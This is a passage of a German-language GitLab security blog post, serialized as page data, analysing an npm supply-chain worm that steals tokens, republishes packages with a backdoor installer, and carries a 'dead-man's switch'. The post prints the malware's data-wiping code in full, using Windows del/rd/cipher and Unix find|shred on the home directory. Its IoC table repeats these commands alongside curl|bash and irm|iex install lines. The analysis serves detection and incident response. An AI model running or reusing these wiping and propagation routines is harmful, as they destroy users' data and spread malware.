",[208,1247,1248],{"class":225},"+",[208,1250,1251],{"class":539}," 1",[208,1253,305],{"class":221},[208,1255,1256,1259,1261,1264,1267,1269,1271],{"class":210,"line":724},[208,1257,1258],{"class":221},"  packageJson.version ",[208,1260,274],{"class":225},[208,1262,1263],{"class":221}," version.",[208,1265,1266],{"class":252},"join",[208,1268,528],{"class":221},[208,1270,1208],{"class":283},[208,1272,1273],{"class":221},");\n",[208,1275,1276],{"class":210,"line":730},[208,1277,312],{"emptyLinePlaceholder":311},[208,1279,1280],{"class":210,"line":736},[208,1281,1282],{"class":214},"  // Bundling Backdoor-Installer\n",[208,1284,1285,1287,1290,1292,1295,1297,1300],{"class":210,"line":751},[208,1286,463],{"class":225},[208,1288,1289],{"class":252}," writeFile",[208,1291,528],{"class":221},[208,1293,1294],{"class":283},"\"setup_bun.js\"",[208,1296,633],{"class":221},[208,1298,1299],{"class":539},"BACKDOOR_CODE",[208,1301,1273],{"class":221},[208,1303,1304],{"class":210,"line":757},[208,1305,312],{"emptyLinePlaceholder":311},[208,1307,1308],{"class":210,"line":762},[208,1309,1310],{"class":214},"  // Repackaging und Publishing\n",[208,1312,1313,1315,1318,1321,1324,1327,1330,1332,1335],{"class":210,"line":771},[208,1314,463],{"class":225},[208,1316,1317],{"class":221}," Bun.",[208,1319,1320],{"class":252},"$",[208,1322,1323],{"class":283},"`npm publish ${",[208,1325,1326],{"class":221},"modifiedPackage",[208,1328,1329],{"class":283},"}`",[208,1331,543],{"class":221},[208,1333,1334],{"class":252},"env",[208,1336,617],{"class":221},[208,1338,1339,1342,1345],{"class":210,"line":1016},[208,1340,1341],{"class":221},"    NPM_CONFIG_TOKEN: ",[208,1343,1344],{"class":539},"this",[208,1346,1347],{"class":221},".token\n",[208,1349,1350],{"class":210,"line":1021},[208,1351,668],{"class":221},[208,1353,1354],{"class":210,"line":1035},[208,1355,359],{"class":221},[13,1357,1358,1361],{},[27,1359,1360],{},"NIS2 Artikel 21(2)(d)-Implikation:"," Dies illustriert Supply-Chain-Sicherheitsaspekte im Zusammenhang mit direkten Lieferanten und Service-Providern. npm-Token-Sicherheit wird zum kritischen Kontrollpunkt – Kompromittierung eines einzelnen Entwickler-Accounts führt zur exponentiellen Verbreitung über dessen gesamtes Paket-Portfolio.",[13,1363,1364,1367],{},[27,1365,1366],{},"Prävention:"," Implementierung von OIDC-basierter keyless Authentication für npm-Publishing (wie in GitLab CI/CD verfügbar) eliminiert langlebige Tokens und reduziert das Credential-Theft-Risiko signifikant.",[37,1369,1371],{"id":1370},"der-dead-mans-switch","Der Dead-Man's-Switch",[13,1373,1374],{},"Die Analyse deckte eine destruktive Payload auf, die zum Schutz der Malware-Infrastruktur gegen Takedown-Versuche konzipiert ist.",[13,1376,1377,1378,1381],{},"Die Malware überwacht kontinuierlich ihren Zugang zu GitHub (für Exfiltration) und npm (für Propagierung). Falls ein infiziertes System Zugriff auf beide Kanäle simultan verliert, löst dies sofortige Datenzerstörung auf dem kompromittierten System aus. Auf Windows wird versucht, alle User-Dateien zu löschen und Disk-Sektoren zu überschreiben. Auf Unix-Systemen nutzt es ",[88,1379,1380],{},"shred",", um Dateien vor Löschung zu überschreiben, wodurch Recovery nahezu unmöglich wird.",[199,1383,1385],{"className":201,"code":1384,"language":203,"meta":204,"style":204},"// KRITISCH: Token-Validierungsfehler löst Zerstörung aus\nasync function aL0() {\n  let githubApi = new dq();\n  let npmToken = process.env.NPM_TOKEN || await findNpmToken();\n\n  // Versuch, GitHub-Zugang zu finden oder zu erstellen\n  if (!githubApi.isAuthenticated() || !githubApi.repoExists()) {\n    let fetchedToken = await githubApi.fetchToken(); // Suche nach Tokens in kompromittierten Repos\n\n    if (!fetchedToken) {  // Kein GitHub-Zugang möglich\n      if (npmToken) {\n        // Fallback zu reiner NPM-Propagierung\n        await El(npmToken);\n      } else {\n        // ZERSTÖRUNGS-TRIGGER: Kein GitHub UND kein NPM-Zugang\n        console.log(\"Error 12\");\n        if (platform === \"windows\") {\n          // Versuch, alle User-Dateien zu löschen und Disk-Sektoren zu überschreiben\n          Bun.spawnSync([\"cmd.exe\", \"/c\",\n            \"del /F /Q /S \\\"%USERPROFILE%*\\\" && \" +\n            \"for /d %%i in (\\\"%USERPROFILE%*\\\") do rd /S /Q \\\"%%i\\\" & \" +\n            \"cipher /W:%USERPROFILE%\"  // Überschreibt gelöschte Daten\n          ]);\n        } else {\n          // Versuch, alle schreibbaren Dateien im Home-Verzeichnis zu shreddern\n          Bun.spawnSync([\"bash\", \"-c\",\n            \"find \\\"$HOME\\\" -type f -writable -user \\\"$(id -un)\\\" -print0 | \" +\n            \"xargs -0 -r shred -uvz -n 1 && \" +  // Überschreibt und löscht\n            \"find \\\"$HOME\\\" -depth -type d -empty -delete\"  // Entfernt leere Verzeichnisse\n          ]);\n        }\n        process.exit(0);\n      }\n    }\n  }\n}\n",[88,1386,1387,1392,1403,1419,1444,1448,1453,1483,1505,1509,1523,1531,1536,1547,1558,1563,1578,1593,1598,1619,1638,1664,1672,1677,1687,1693,1712,1740,1752,1769,1774,1780,1796,1802,1807,1812],{"__ignoreMap":204},[208,1388,1389],{"class":210,"line":211},[208,1390,1391],{"class":214},"// KRITISCH: Token-Validierungsfehler löst Zerstörung aus\n",[208,1393,1394,1396,1398,1401],{"class":210,"line":218},[208,1395,246],{"class":225},[208,1397,249],{"class":225},[208,1399,1400],{"class":252}," aL0",[208,1402,256],{"class":221},[208,1404,1405,1407,1410,1412,1414,1417],{"class":210,"line":243},[208,1406,268],{"class":225},[208,1408,1409],{"class":221}," githubApi ",[208,1411,274],{"class":225},[208,1413,452],{"class":225},[208,1415,1416],{"class":252}," dq",[208,1418,458],{"class":221},[208,1420,1421,1423,1426,1428,1431,1434,1437,1439,1442],{"class":210,"line":259},[208,1422,268],{"class":225},[208,1424,1425],{"class":221}," npmToken ",[208,1427,274],{"class":225},[208,1429,1430],{"class":221}," process.env.",[208,1432,1433],{"class":539},"NPM_TOKEN",[208,1435,1436],{"class":225}," ||",[208,1438,492],{"class":225},[208,1440,1441],{"class":252}," findNpmToken",[208,1443,458],{"class":221},[208,1445,1446],{"class":210,"line":265},[208,1447,312],{"emptyLinePlaceholder":311},[208,1449,1450],{"class":210,"line":287},[208,1451,1452],{"class":214},"  // Versuch, GitHub-Zugang zu finden oder zu erstellen\n",[208,1454,1455,1457,1459,1462,1465,1468,1471,1473,1476,1478,1481],{"class":210,"line":296},[208,1456,682],{"class":225},[208,1458,685],{"class":221},[208,1460,1461],{"class":225},"!",[208,1463,1464],{"class":221},"githubApi.",[208,1466,1467],{"class":252},"isAuthenticated",[208,1469,1470],{"class":221},"() ",[208,1472,1239],{"class":225},[208,1474,1475],{"class":225}," !",[208,1477,1464],{"class":221},[208,1479,1480],{"class":252},"repoExists",[208,1482,698],{"class":221},[208,1484,1485,1487,1490,1492,1494,1497,1499,1502],{"class":210,"line":308},[208,1486,703],{"class":225},[208,1488,1489],{"class":221}," fetchedToken ",[208,1491,274],{"class":225},[208,1493,492],{"class":225},[208,1495,1496],{"class":221}," githubApi.",[208,1498,800],{"class":252},[208,1500,1501],{"class":221},"(); ",[208,1503,1504],{"class":214},"// Suche nach Tokens in kompromittierten Repos\n",[208,1506,1507],{"class":210,"line":315},[208,1508,312],{"emptyLinePlaceholder":311},[208,1510,1511,1513,1515,1517,1520],{"class":210,"line":330},[208,1512,983],{"class":225},[208,1514,685],{"class":221},[208,1516,1461],{"class":225},[208,1518,1519],{"class":221},"fetchedToken) {  ",[208,1521,1522],{"class":214},"// Kein GitHub-Zugang möglich\n",[208,1524,1525,1528],{"class":210,"line":335},[208,1526,1527],{"class":225},"      if",[208,1529,1530],{"class":221}," (npmToken) {\n",[208,1532,1533],{"class":210,"line":341},[208,1534,1535],{"class":214},"        // Fallback zu reiner NPM-Propagierung\n",[208,1537,1538,1541,1544],{"class":210,"line":356},[208,1539,1540],{"class":225},"        await",[208,1542,1543],{"class":252}," El",[208,1545,1546],{"class":221},"(npmToken);\n",[208,1548,1549,1552,1555],{"class":210,"line":724},[208,1550,1551],{"class":221},"      } ",[208,1553,1554],{"class":225},"else",[208,1556,1557],{"class":221}," {\n",[208,1559,1560],{"class":210,"line":730},[208,1561,1562],{"class":214},"        // ZERSTÖRUNGS-TRIGGER: Kein GitHub UND kein NPM-Zugang\n",[208,1564,1565,1568,1571,1573,1576],{"class":210,"line":736},[208,1566,1567],{"class":221},"        console.",[208,1569,1570],{"class":252},"log",[208,1572,528],{"class":221},[208,1574,1575],{"class":283},"\"Error 12\"",[208,1577,1273],{"class":221},[208,1579,1580,1583,1586,1588,1591],{"class":210,"line":751},[208,1581,1582],{"class":225},"        if",[208,1584,1585],{"class":221}," (platform ",[208,1587,280],{"class":225},[208,1589,1590],{"class":283}," \"windows\"",[208,1592,589],{"class":221},[208,1594,1595],{"class":210,"line":757},[208,1596,1597],{"class":214},"          // Versuch, alle User-Dateien zu löschen und Disk-Sektoren zu überschreiben\n",[208,1599,1600,1603,1606,1609,1612,1614,1617],{"class":210,"line":762},[208,1601,1602],{"class":221},"          Bun.",[208,1604,1605],{"class":252},"spawnSync",[208,1607,1608],{"class":221},"([",[208,1610,1611],{"class":283},"\"cmd.exe\"",[208,1613,633],{"class":221},[208,1615,1616],{"class":283},"\"/c\"",[208,1618,534],{"class":221},[208,1620,1621,1624,1627,1630,1632,1635],{"class":210,"line":771},[208,1622,1623],{"class":283},"            \"del /F /Q /S ",[208,1625,1626],{"class":539},"\\\"",[208,1628,1629],{"class":283},"%USERPROFILE%*",[208,1631,1626],{"class":539},[208,1633,1634],{"class":283}," && \"",[208,1636,1637],{"class":225}," +\n",[208,1639,1640,1643,1645,1647,1649,1652,1654,1657,1659,1662],{"class":210,"line":1016},[208,1641,1642],{"class":283},"            \"for /d %%i in (",[208,1644,1626],{"class":539},[208,1646,1629],{"class":283},[208,1648,1626],{"class":539},[208,1650,1651],{"class":283},") do rd /S /Q ",[208,1653,1626],{"class":539},[208,1655,1656],{"class":283},"%%i",[208,1658,1626],{"class":539},[208,1660,1661],{"class":283}," & \"",[208,1663,1637],{"class":225},[208,1665,1666,1669],{"class":210,"line":1021},[208,1667,1668],{"class":283},"            \"cipher /W:%USERPROFILE%\"",[208,1670,1671],{"class":214},"  // Überschreibt gelöschte Daten\n",[208,1673,1674],{"class":210,"line":1035},[208,1675,1676],{"class":221},"          ]);\n",[208,1678,1680,1683,1685],{"class":210,"line":1679},24,[208,1681,1682],{"class":221},"        } ",[208,1684,1554],{"class":225},[208,1686,1557],{"class":221},[208,1688,1690],{"class":210,"line":1689},25,[208,1691,1692],{"class":214},"          // Versuch, alle schreibbaren Dateien im Home-Verzeichnis zu shreddern\n",[208,1694,1696,1698,1700,1702,1705,1707,1710],{"class":210,"line":1695},26,[208,1697,1602],{"class":221},[208,1699,1605],{"class":252},[208,1701,1608],{"class":221},[208,1703,1704],{"class":283},"\"bash\"",[208,1706,633],{"class":221},[208,1708,1709],{"class":283},"\"-c\"",[208,1711,534],{"class":221},[208,1713,1715,1718,1720,1723,1725,1728,1730,1733,1735,1738],{"class":210,"line":1714},27,[208,1716,1717],{"class":283},"            \"find ",[208,1719,1626],{"class":539},[208,1721,1722],{"class":283},"$HOME",[208,1724,1626],{"class":539},[208,1726,1727],{"class":283}," -type f -writable -user ",[208,1729,1626],{"class":539},[208,1731,1732],{"class":283},"$(id -un)",[208,1734,1626],{"class":539},[208,1736,1737],{"class":283}," -print0 | \"",[208,1739,1637],{"class":225},[208,1741,1743,1746,1749],{"class":210,"line":1742},28,[208,1744,1745],{"class":283},"            \"xargs -0 -r shred -uvz -n 1 && \"",[208,1747,1748],{"class":225}," +",[208,1750,1751],{"class":214},"  // Überschreibt und löscht\n",[208,1753,1755,1757,1759,1761,1763,1766],{"class":210,"line":1754},29,[208,1756,1717],{"class":283},[208,1758,1626],{"class":539},[208,1760,1722],{"class":283},[208,1762,1626],{"class":539},[208,1764,1765],{"class":283}," -depth -type d -empty -delete\"",[208,1767,1768],{"class":214},"  // Entfernt leere Verzeichnisse\n",[208,1770,1772],{"class":210,"line":1771},30,[208,1773,1676],{"class":221},[208,1775,1777],{"class":210,"line":1776},31,[208,1778,1779],{"class":221},"        }\n",[208,1781,1783,1786,1789,1791,1794],{"class":210,"line":1782},32,[208,1784,1785],{"class":221},"        process.",[208,1787,1788],{"class":252},"exit",[208,1790,528],{"class":221},[208,1792,1793],{"class":539},"0",[208,1795,1273],{"class":221},[208,1797,1799],{"class":210,"line":1798},33,[208,1800,1801],{"class":221},"      }\n",[208,1803,1805],{"class":210,"line":1804},34,[208,1806,1013],{"class":221},[208,1808,1810],{"class":210,"line":1809},35,[208,1811,754],{"class":221},[208,1813,1815],{"class":210,"line":1814},36,[208,1816,359],{"class":221},[13,1818,1819,1822],{},[27,1820,1821],{},"NIS2 Artikel 23-Implikation für Incident Response:"," Dies schafft ein gefährliches Szenario. Falls GitHub massenweise die Repositories der Malware löscht oder npm Bulk-Revocation kompromittierter Tokens durchführt, könnten Tausende infizierter Systeme simultan Nutzerdaten zerstören. Die verteilte Natur des Angriffs bedeutet, dass jede infizierte Maschine unabhängig den Zugriff überwacht und bei erkanntem Takedown Löschung der Nutzerdaten auslöst.",[13,1824,1825,1828],{},[27,1826,1827],{},"Koordinierte Reaktionsplanung erforderlich:"," Deutsche Unternehmen müssen NIS2 Artikel 23 (dreistufige Meldeverfahren) befolgen, aber auch vermeiden, voreilig Tokens zu sperren, ohne die Dead-Man's-Switch-Implikationen zu berücksichtigen. Systematische Planung mit zuständigen Behörden ist erforderlich.",[37,1830,1832],{"id":1831},"indicators-of-compromise","Indicators of Compromise",[13,1834,1835],{},"Zur Unterstützung von Detection und Response: Umfassende Liste der identifizierten Key-Indicators of Compromise (IoCs).",[1837,1838,1839,1856],"table",{},[1840,1841,1842],"thead",{},[1843,1844,1845,1850,1853],"tr",{},[1846,1847,1849],"th",{"align":1848},"left","Typ",[1846,1851,1852],{"align":1848},"Indikator",[1846,1854,1855],{"align":1848},"Beschreibung",[1857,1858,1859,1874,1889,1903,1917,1931,1946,1960,1974,1989],"tbody",{},[1843,1860,1861,1867,1871],{},[1862,1863,1864],"td",{"align":1848},[27,1865,1866],{},"file",[1862,1868,1869],{"align":1848},[88,1870,368],{},[1862,1872,1873],{"align":1848},"Schadhafte Post-Install-Scripte in node_modules-Verzeichnissen",[1843,1875,1876,1881,1886],{},[1862,1877,1878],{"align":1848},[27,1879,1880],{},"directory",[1862,1882,1883],{"align":1848},[88,1884,1885],{},".truffler-cache/",[1862,1887,1888],{"align":1848},"Verstecktes Verzeichnis im User-Home für Trufflehog-Binary-Speicherung",[1843,1890,1891,1895,1900],{},[1862,1892,1893],{"align":1848},[27,1894,1880],{},[1862,1896,1897],{"align":1848},[88,1898,1899],{},".truffler-cache/extract/",[1862,1901,1902],{"align":1848},"Temporäres Verzeichnis für Binary-Extraktion",[1843,1904,1905,1909,1914],{},[1862,1906,1907],{"align":1848},[27,1908,1866],{},[1862,1910,1911],{"align":1848},[88,1912,1913],{},".truffler-cache/trufflehog",[1862,1915,1916],{"align":1848},"Heruntergeladenes Trufflehog-Binary (Linux/Mac)",[1843,1918,1919,1923,1928],{},[1862,1920,1921],{"align":1848},[27,1922,1866],{},[1862,1924,1925],{"align":1848},[88,1926,1927],{},".truffler-cache/trufflehog.exe",[1862,1929,1930],{"align":1848},"Heruntergeladenes Trufflehog-Binary (Windows)",[1843,1932,1933,1938,1943],{},[1862,1934,1935],{"align":1848},[27,1936,1937],{},"process",[1862,1939,1940],{"align":1848},[88,1941,1942],{},"del /F /Q /S \"%USERPROFILE%*\"",[1862,1944,1945],{"align":1848},"Windows-Destruktiv-Payload-Befehl",[1843,1947,1948,1952,1957],{},[1862,1949,1950],{"align":1848},[27,1951,1937],{},[1862,1953,1954],{"align":1848},[88,1955,1956],{},"shred -uvz -n 1",[1862,1958,1959],{"align":1848},"Linux/Mac-Destruktiv-Payload-Befehl",[1843,1961,1962,1966,1971],{},[1862,1963,1964],{"align":1848},[27,1965,1937],{},[1862,1967,1968],{"align":1848},[88,1969,1970],{},"cipher /W:%USERPROFILE%",[1862,1972,1973],{"align":1848},"Windows-Secure-Deletion-Befehl in Payload",[1843,1975,1976,1981,1986],{},[1862,1977,1978],{"align":1848},[27,1979,1980],{},"command",[1862,1982,1983],{"align":1848},[88,1984,1985],{},"curl -fsSL https://bun.sh/install | bash",[1862,1987,1988],{"align":1848},"Verdächtige Bun-Installation während NPM-Paket-Installation",[1843,1990,1991,1995,2000],{},[1862,1992,1993],{"align":1848},[27,1994,1980],{},[1862,1996,1997],{"align":1848},[88,1998,1999],{},"powershell -c \"irm bun.sh/install.ps1|iex\"",[1862,2001,2002],{"align":1848},"Windows-Bun-Installation via PowerShell",[13,2004,2005,2008],{},[27,2006,2007],{},"Systematische Überprüfung:"," Deutsche Sicherheitsteams können diese IoC-Tabelle für Filesystem-Scans nutzen. Die Präsenz eines dieser Indikatoren erfordert sofortige Isolation des betroffenen Systems und Token-Audit gemäß obiger Reaktions-Checkliste.",[37,2010,2012],{"id":2011},"ausblick","Ausblick",[13,2014,2015,2016,2021],{},"Diese Kampagne repräsentiert eine Evolution in ",[17,2017,2020],{"href":2018,"rel":2019},"https://about.gitlab.com/de-de/blog/software-supply-chain-security-guide-why-organizations-struggle/",[],"Supply-Chain-Angriffen",": Die Androhung von Kollateralschäden wird zum primären Verteidigungsmechanismus für die Attacker-Infrastruktur. Die Untersuchung läuft, während die Zusammenarbeit mit der Community erfolgt, um den vollständigen Umfang zu verstehen und sichere Remediation-Strategien zu entwickeln.",[13,2023,2024],{},"GitLabs automatisierte Detektionssysteme überwachen kontinuierlich auf neue Infektionen und Varianten dieses Angriffs. Durch frühzeitiges Teilen der Erkenntnisse soll der Community geholfen werden, wirksam zu reagieren und dabei die Fallstricke des Dead-Man's-Switch-Designs zu vermeiden.",[13,2026,2027,2030],{},[27,2028,2029],{},"Für deutsche Unternehmen:"," Nutzen von GitLabs internen Monitoring-Fähigkeiten durch Integration von Dependency-Scanning in CI/CD-Pipelines. Dies ermöglicht systematische Früherkennung schadhafter Pakete vor Production-Deployment – ein Ansatz, der sowohl NIS2 Artikel 21 als auch DSGVO Artikel 32 erfüllt.",[2032,2033,2034],"style",{},"html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}html pre.shiki code .sgsFI, html code.shiki .sgsFI{--shiki-default:#24292E}html pre.shiki code .sD7c4, html code.shiki .sD7c4{--shiki-default:#D73A49}html pre.shiki code .s7eDp, html code.shiki .s7eDp{--shiki-default:#6F42C1}html pre.shiki code .sYBdl, html code.shiki .sYBdl{--shiki-default:#032F62}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sYu0t, html code.shiki .sYu0t{--shiki-default:#005CC5}html pre.shiki code .sqxcx, html code.shiki .sqxcx{--shiki-default:#E36209}",{"title":204,"searchDepth":218,"depth":218,"links":2036},[2037,2038,2039,2040,2046,2047,2048],{"id":39,"depth":218,"text":40},{"id":71,"depth":218,"text":72},{"id":142,"depth":218,"text":143},{"id":168,"depth":218,"text":169,"children":2041},[2042,2043,2044,2045],{"id":186,"depth":243,"text":187},{"id":378,"depth":243,"text":383},{"id":562,"depth":243,"text":563},{"id":1046,"depth":243,"text":1051},{"id":1370,"depth":218,"text":1371},{"id":1831,"depth":218,"text":1832},{"id":2011,"depth":218,"text":2012},"security-labs","2025-11-24","Tutorial zur systematischen Bedrohungsanalyse mit IoC-Tabelle für sofortige Überprüfung deutscher Systeme. Koordinierte Reaktion erforderlich.","md",null,"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665667/Blog/Hero%20Images/built-in-security.jpg",{},"/de-de/blog/gitlab-discovers-widespread-npm-supply-chain-attack",{"config":2058,"title":5,"description":2060},{"noIndex":2059},false,"Die Malware enthält einen 'Dead-Man's-Switch'-Mechanismus, der bei Unterbrechung der Infrastruktur Nutzerdaten zerstören kann. NIS2-Meldepflicht beachten.","gitlab-discovers-widespread-npm-supply-chain-attack","de-de/blog/gitlab-discovers-widespread-npm-supply-chain-attack",[2064,2065],"security","security research","BlogPost","3pYXFII3hIgT7508bbm4-pdu223nlTOXEB83F_d-f7o",{"logo":2069,"freeTrial":2074,"sales":2079,"login":2084,"items":2089,"search":2418,"minimal":2452,"duo":2470,"switchNav":2479,"pricingDeployment":2490},{"config":2070},{"href":2071,"dataGaName":2072,"dataGaLocation":2073},"/de-de/","gitlab logo","header",{"text":2075,"config":2076},"Kostenlose Testversion anfordern",{"href":2077,"dataGaName":2078,"dataGaLocation":2073},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/de-de&glm_content=default-saas-trial/","free trial",{"text":2080,"config":2081},"Demo anfordern",{"href":2082,"dataGaName":2083,"dataGaLocation":2073},"/de-de/sales/?contact-topic=request-demo","sales",{"text":2085,"config":2086},"Anmelden",{"href":2087,"dataGaName":2088,"dataGaLocation":2073},"https://gitlab.com/users/sign_in/","sign in",[2090,2119,2221,2226,2340,2396],{"text":2091,"config":2092,"menu":2094},"Plattform",{"dataNavLevelOne":2093},"platform",{"type":2095,"columns":2096},"cards",[2097,2103,2111],{"title":2091,"description":2098,"link":2099},"Die intelligente Orchestrierungsplattform für DevSecOps",{"text":2100,"config":2101},"Die Plattform erkunden",{"href":2102,"dataGaName":2093,"dataGaLocation":2073},"/de-de/platform/",{"title":2104,"description":2105,"link":2106},"GitLab Duo Agent Platform","Agentische KI für den gesamten Software-Lebenszyklus",{"text":2107,"config":2108},"Lerne GitLab Duo kennen",{"href":2109,"dataGaName":2110,"dataGaLocation":2073},"/de-de/gitlab-duo-agent-platform/","gitlab duo agent platform",{"title":2112,"description":2113,"link":2114},"Warum GitLab?","Erfahre, warum sich Unternehmen für GitLab entscheiden",{"text":2115,"config":2116},"Mehr erfahren",{"href":2117,"dataGaName":2118,"dataGaLocation":2073},"/de-de/why-gitlab/","why gitlab",{"text":2120,"left":311,"config":2121,"menu":2123},"Produkt",{"dataNavLevelOne":2122},"solutions",{"type":2124,"link":2125,"columns":2129,"feature":2200},"lists",{"text":2126,"config":2127},"Alle Lösungen anzeigen",{"href":2128,"dataGaName":2122,"dataGaLocation":2073},"/de-de/solutions/",[2130,2155,2178],{"title":2131,"description":2132,"link":2133,"items":2138},"Automatisierung","CI/CD und Automatisierung zur Beschleunigung der Bereitstellung",{"config":2134},{"icon":2135,"href":2136,"dataGaName":2137,"dataGaLocation":2073},"AutomatedCodeAlt","/de-de/solutions/delivery-automation/","automated software delivery",[2139,2143,2146,2151],{"text":2140,"config":2141},"CI/CD",{"href":2142,"dataGaLocation":2073,"dataGaName":2140},"/de-de/solutions/continuous-integration/",{"text":2104,"config":2144},{"href":2109,"dataGaLocation":2073,"dataGaName":2145},"gitlab duo agent platform - product menu",{"text":2147,"config":2148},"Quellcodeverwaltung",{"href":2149,"dataGaLocation":2073,"dataGaName":2150},"/de-de/solutions/source-code-management/","Source Code Management",{"text":2152,"config":2153},"Automatische Softwarebereitstellung",{"href":2136,"dataGaLocation":2073,"dataGaName":2154},"Automated software delivery",{"title":2156,"description":2157,"link":2158,"items":2163},"Sicherheit","Entwickle Code schneller ohne Abstriche bei der Sicherheit",{"config":2159},{"href":2160,"dataGaName":2161,"dataGaLocation":2073,"icon":2162},"/de-de/solutions/application-security-testing/","security and compliance","ShieldCheckLight",[2164,2168,2173],{"text":2165,"config":2166},"Anwendungssicherheitstests",{"href":2160,"dataGaName":2167,"dataGaLocation":2073},"Application security testing",{"text":2169,"config":2170},"Schutz der Software-Lieferkette",{"href":2171,"dataGaLocation":2073,"dataGaName":2172},"/de-de/solutions/supply-chain/","Software supply chain security",{"text":2174,"config":2175},"Software-Compliance",{"href":2176,"dataGaName":2177,"dataGaLocation":2073},"/de-de/solutions/software-compliance/","software compliance",{"title":2179,"link":2180,"items":2185},"Messung",{"config":2181},{"icon":2182,"href":2183,"dataGaName":2184,"dataGaLocation":2073},"DigitalTransformation","/de-de/solutions/visibility-measurement/","visibility and measurement",[2186,2190,2195],{"text":2187,"config":2188},"Sichtbarkeit und Messung",{"href":2183,"dataGaLocation":2073,"dataGaName":2189},"Visibility and Measurement",{"text":2191,"config":2192},"Wertstrommanagement",{"href":2193,"dataGaLocation":2073,"dataGaName":2194},"/de-de/solutions/value-stream-management/","Value Stream Management",{"text":2196,"config":2197},"Analysen und Einblicke",{"href":2198,"dataGaLocation":2073,"dataGaName":2199},"/de-de/solutions/analytics-and-insights/","Analytics and insights",{"title":2201,"type":2124,"items":2202},"GitLab für",[2203,2209,2215],{"text":2204,"config":2205},"Enterprise",{"icon":2206,"href":2207,"dataGaLocation":2073,"dataGaName":2208},"Building","/de-de/enterprise/","enterprise",{"text":2210,"config":2211},"Kleinunternehmen",{"icon":2212,"href":2213,"dataGaLocation":2073,"dataGaName":2214},"Work","/de-de/small-business/","small business",{"text":2216,"config":2217},"Öffentlicher Sektor",{"icon":2218,"href":2219,"dataGaLocation":2073,"dataGaName":2220},"Organization","/de-de/solutions/public-sector/","public sector",{"text":2222,"config":2223},"Preise",{"href":2224,"dataGaName":2225,"dataGaLocation":2073,"dataNavLevelOne":2225},"/de-de/pricing/","pricing",{"text":2227,"config":2228,"menu":2230},"Ressourcen",{"dataNavLevelOne":2229},"resources",{"type":2124,"link":2231,"columns":2235,"feature":2329},{"text":2232,"config":2233},"Alle Ressourcen anzeigen",{"href":2234,"dataGaName":2229,"dataGaLocation":2073},"/de-de/resources/",[2236,2269,2296],{"title":2237,"items":2238},"Erste Schritte",[2239,2244,2249,2254,2259,2264],{"text":2240,"config":2241},"Installieren",{"href":2242,"dataGaName":2243,"dataGaLocation":2073},"/de-de/install/","install",{"text":2245,"config":2246},"Kurzanleitungen",{"href":2247,"dataGaName":2248,"dataGaLocation":2073},"/de-de/get-started/","quick setup checklists",{"text":2250,"config":2251},"Lernen",{"href":2252,"dataGaLocation":2073,"dataGaName":2253},"https://university.gitlab.com/","learn",{"text":2255,"config":2256},"Produktdokumentation",{"href":2257,"dataGaName":2258,"dataGaLocation":2073},"https://docs.gitlab.com/","product documentation",{"text":2260,"config":2261},"Best-Practice-Videos",{"href":2262,"dataGaName":2263,"dataGaLocation":2073},"/de-de/getting-started-videos/","best practice videos",{"text":2265,"config":2266},"Integrationen",{"href":2267,"dataGaName":2268,"dataGaLocation":2073},"/de-de/integrations/","integrations",{"title":2270,"items":2271},"Entdecken",[2272,2277,2282,2287,2291],{"text":2273,"config":2274},"Kundenerfolge",{"href":2275,"dataGaName":2276,"dataGaLocation":2073},"/de-de/customers/","customer success stories",{"text":2278,"config":2279},"Blog",{"href":2280,"dataGaName":2281,"dataGaLocation":2073},"/de-de/blog/","blog",{"text":2283,"config":2284},"Demo-Hub",{"href":2285,"dataGaName":2286,"dataGaLocation":2073},"/de-de/demo-hub/","demo hub",{"text":2288,"config":2289},"The Source",{"href":2290,"dataGaName":2281,"dataGaLocation":2073},"/de-de/the-source/",{"text":2292,"config":2293},"Remote",{"href":2294,"dataGaName":2295,"dataGaLocation":2073},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"title":2297,"items":2298},"Vernetzen",[2299,2304,2309,2314,2319,2324],{"text":2300,"config":2301},"GitLab-Services",{"href":2302,"dataGaName":2303,"dataGaLocation":2073},"/de-de/services/","services",{"text":2305,"config":2306},"Beitragen",{"href":2307,"dataGaName":2308,"dataGaLocation":2073},"https://contributors.gitlab.com","contribute",{"text":2310,"config":2311},"Community",{"href":2312,"dataGaName":2313,"dataGaLocation":2073},"/community/","community",{"text":2315,"config":2316},"Forum",{"href":2317,"dataGaName":2318,"dataGaLocation":2073},"https://forum.gitlab.com/","forum",{"text":2320,"config":2321},"Veranstaltungen",{"href":2322,"dataGaName":2323,"dataGaLocation":2073},"/events/","events",{"text":2325,"config":2326},"Partner",{"href":2327,"dataGaName":2328,"dataGaLocation":2073},"/de-de/partners/","partners",{"config":2330,"title":2333,"text":2334,"link":2335},{"background":2331,"textColor":2332},"url('https://res.cloudinary.com/about-gitlab-com/image/upload/v1777322348/qpq8yrgn8knii57omj0c.png')","#000","Neues bei GitLab","Über die neuesten Funktionen und Verbesserungen auf dem Laufenden bleiben.",{"text":2336,"config":2337},"Aktuelle Nachrichten",{"href":2338,"dataGaName":2339,"dataGaLocation":2073},"/de-de/whats-new/","whats new",{"text":2341,"config":2342,"menu":2344},"Unternehmen",{"dataNavLevelOne":2343},"company",{"type":2124,"columns":2345},[2346],{"items":2347},[2348,2353,2359,2361,2366,2371,2376,2381,2386,2391],{"text":2349,"config":2350},"Über",{"href":2351,"dataGaName":2352,"dataGaLocation":2073},"/de-de/company/","about",{"text":2354,"config":2355,"footerGa":2358},"Karriere",{"href":2356,"dataGaName":2357,"dataGaLocation":2073},"/jobs/","jobs",{"dataGaName":2357},{"text":2320,"config":2360},{"href":2322,"dataGaName":2323,"dataGaLocation":2073},{"text":2362,"config":2363},"Geschäftsführung",{"href":2364,"dataGaName":2365,"dataGaLocation":2073},"/company/team/e-group/","leadership",{"text":2367,"config":2368},"Handbuch",{"href":2369,"dataGaName":2370,"dataGaLocation":2073},"https://handbook.gitlab.com/","handbook",{"text":2372,"config":2373},"Investor Relations",{"href":2374,"dataGaName":2375,"dataGaLocation":2073},"https://ir.gitlab.com/overview/default.aspx","investor relations",{"text":2377,"config":2378},"Trust 